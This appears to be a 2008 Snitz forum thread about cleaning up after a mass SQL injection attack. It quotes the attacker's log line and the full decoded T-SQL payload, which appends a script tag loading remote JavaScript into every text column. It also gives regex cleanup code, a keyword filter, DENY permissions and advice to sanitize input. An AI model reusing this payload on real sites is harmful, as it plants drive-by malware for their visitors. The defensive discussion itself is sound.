[UPDATE]
MEMBERS
M_LASTHEREDATE#'20080414000000'#MEMBER_ID = IDOFDODGYUSER
[END]

2008-06-13 07:34:55 xxx.xxx.xxx.xxx GET /forum/topic.asp TOPIC_ID=2486;DECLARE%20@S%20VARCHAR(4000);..{some big long string}..

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.differenturls.com/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

quote:

---

quote:<hr height="1" noshade id="quote">Several things:

1) This hack had nothing to do with Snitz. They didn't change the member levels as I initially believed.
2) I discovered that some of my SQL Injection script simply DID NOT work. Lesson: Test your injection script!
3) Back up your database.
4) Many people are dealing with this right now. I used the following script to go through the rows quickly. Bill Wilkinson on www.ASPMessageboard.com wrote it. Depending on the size of your database, run it on just a couple of fields at a time. This is what I used to update the Snitz Member's table.

Set zap = New RegExp
zap.Pattern = "\<" & "script[\s\S]*?\<\/script\>"
zap.IgnoreCase = True
zap.Global = True

'#### CAUTION ####
'  Either this regexp or the script injection trimmed a couple of 
'  the text fields such as M_SIG while deleting the injection.  I 
'  simply told my members to recreate it.  I suspect it was the script
'  injection, though. There are other fields you need to add...it's 
'  self-explanatory if you compare it with your database table design.
'  Uncomment only a couple of fields at a time.  If you try to run 
'  them all at the same time your database will timeout.
'
'  Also, if you have a field that is NULL, run the code using this 
'  model or else you will get errors:
'
'    uname = RS("username")
'    If Not IsNull(uname) Then If uname <> "" Then RS("username") = zap.Replace(uname,"") 
'
'############

Set RS = Server.CreateObject("ADODB.Recordset")
RS.Open "FORUM_MEMBERS", openyourconnection, 3, 3
Do Until RS.EOF
        'RS("M_AIM") = zap.Replace( RS("M_AIM"), "" )
	'RS("M_ICQ") = zap.Replace( RS("M_ICQ"), "" )
	'RS("M_Yahoo") = zap.Replace( RS("M_Yahoo"), "" )
	'RS("M_MSN") = zap.Replace( RS("M_MSN"), "" )	
	'RS("M_FIRSTNAME") = zap.Replace( RS("M_FIRSTNAME"), "" )	
	'RS("M_LASTNAME") = zap.Replace( RS("M_LASTNAME"), "" )	
        'RS("M_OCCUPATION") = zap.Replace( RS("M_OCCUPATION"), "" )
        'RS("M_SEX") = zap.Replace( RS("M_SEX"), "" ) 
	'RS("M_HOBBIES") = zap.Replace( RS("M_HOBBIES"), "" )	
	'RS("M_LNEWS") = zap.Replace( RS("M_LNEWS"), "" )			
	'RS("M_QUOTE") = zap.Replace( RS("M_QUOTE"), "" )			
	'RS("M_MARSTATUS") = zap.Replace( RS("M_MARSTATUS"), "" )			
	'RS("M_BIO") = zap.Replace( RS("M_BIO"), "" )	
	'RS("M_LINK1") = zap.Replace( RS("M_LINK1"), "" )			
	'RS("M_LINK2") = zap.Replace( RS("M_LINK2"), "" )			
	'RS("M_CITY") = zap.Replace( RS("M_CITY"), "" )							
	'RS("M_STATE") = zap.Replace( RS("M_STATE"), "" )			
	'RS("M_KEY") = zap.Replace( RS("M_KEY"), "" )			
	'RS("M_PWKEY") = zap.Replace( RS("M_PWKEY"), "" )				
	'RS("M_PHOTO_URL") = zap.Replace( RS("M_PHOTO_URL"), "" )					
	'RS("M_NEWEMAIL") = zap.Replace( RS("M_NEWEMAIL"), "" )					
	'RS("M_PMBLOCKLIST") = zap.Replace( RS("M_PMBLOCKLIST"), "" )					
	RS.Update
    RS.MoveNext
Loop
RS.Close
response.write "finished"

---

if instr(request.querystring,";")>0 or instr(lcase(request.querystring),"declare") >0 or instr(lcase(request.querystring),"cast")>0 then Response.End

quote:

---

quote:<hr height="1" noshade id="quote">The fix I have found to stop it happening is to restore to the latest good backup of your Database (unless you want to go through each tables and their fields and remove it) then in Query Analizer run the following:

DENY SELECT ON SYSOBJECTS TO [User listed in config.asp of your forum]
DENY SELECT ON SYSCOLUMNS TO [User listed in config.asp of your forum]

As an example:

DENY SELECT ON SYSOBJECTS TO Snitz_User
DENY SELECT ON SYSCOLUMNS TO Snitz_User

---

quote:

---

quote:<hr height="1" noshade id="quote">Originally posted by ruirib
<br />You should be aware that's not really a fix. It will stop that kind of hack, but the hole is still there and it can be used to inject different SQL. You should not really relax with such a fix. It will avoid some of the symptoms of your problem, but it won't solve the problem.
For example, using the same searching strategy and knowing the Snitz tables names, nothing stops them from dropping all your tables and this fix won't stop it.

As hard is that may be, there is no way around sanitizing all your input. If you don't do that, the hole is still there to be used by those who search for it with enough persistence!

---